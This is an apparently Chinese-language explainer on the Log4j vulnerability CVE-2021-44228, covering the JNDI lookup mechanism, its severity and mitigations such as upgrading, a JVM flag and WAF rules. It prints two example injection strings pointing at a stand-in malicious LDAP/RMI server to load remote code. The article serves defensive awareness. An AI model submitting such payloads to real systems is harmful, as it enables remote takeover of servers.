Java库Log4j中的严重漏洞威胁数百万服务器

轻松学习Python，无需理论负担。在浏览器中直接解决带自动检查的实践任务，无需安装任何东西。

流行Java库Log4j中的严重漏洞：每位开发者都需要了解的内容

2021年12月10日，Java开发者社区发生了一件网络安全专家称之为“十年来最严重的威胁之一”的事件。这是指Apache Log4j库中的严重漏洞CVE-2021-44228——Java应用程序中最流行的日志记录工具之一。该漏洞允许攻击者仅通过在输入字段中输入一行字符串，即可在服务器上远程执行任意代码（Remote Code Execution, RCE）。

什么是Log4j，为什么它如此重要？

Log4j是一个开源库，几乎用于所有大型Java项目：从企业系统到云服务（Amazon、Apple、Twitter、Minecraft等成千上万个项目）。该库负责记录事件（日志）——错误、警告和调试信息。该漏洞影响Log4j 2.0至2.14.1版本。

攻击是如何进行的？

问题出在JNDI（Java命名和目录接口）机制上，Log4j使用该机制从外部源替换值。攻击者可以发送一个包含恶意字符串的HTTP请求，例如：

${jndi:ldap://恶意服务器/漏洞利用}
${jndi:rmi://恶意服务器/漏洞利用}

如果应用程序记录了此请求的内容（例如User-Agent或请求头），Log4j会向指定服务器执行JNDI请求。作为响应，服务器可以将恶意Java类加载到受攻击的机器上，从而使黑客完全控制服务器。

为什么该漏洞被称为严重漏洞？

专家将该漏洞的危险等级评为最高——CVSS评分10.0分（满分10.0分）。原因如下：

易于利用——无需身份验证或特殊技能。
影响广泛——Log4j用于数百万个应用程序。
难以检测——攻击可能保持隐蔽，因为它在标准日志中不会留下明显痕迹。

如何防护？

开发人员和管理员需要立即采取以下步骤：

将Log4j更新到2.15.0或更高版本——补丁默认阻止JNDI替换机制。
临时禁用JNDI——如果无法更新，请添加JVM参数：-Dlog4j2.formatMsgNoLookups=true。
检查依赖项——许多库（Spring Boot、Struts、Hibernate）将Log4j作为传递依赖包含在内。使用Maven/Gradle查找过时版本。
监控流量——配置WAF（Web应用程序防火墙）规则以阻止包含${jndi:的请求。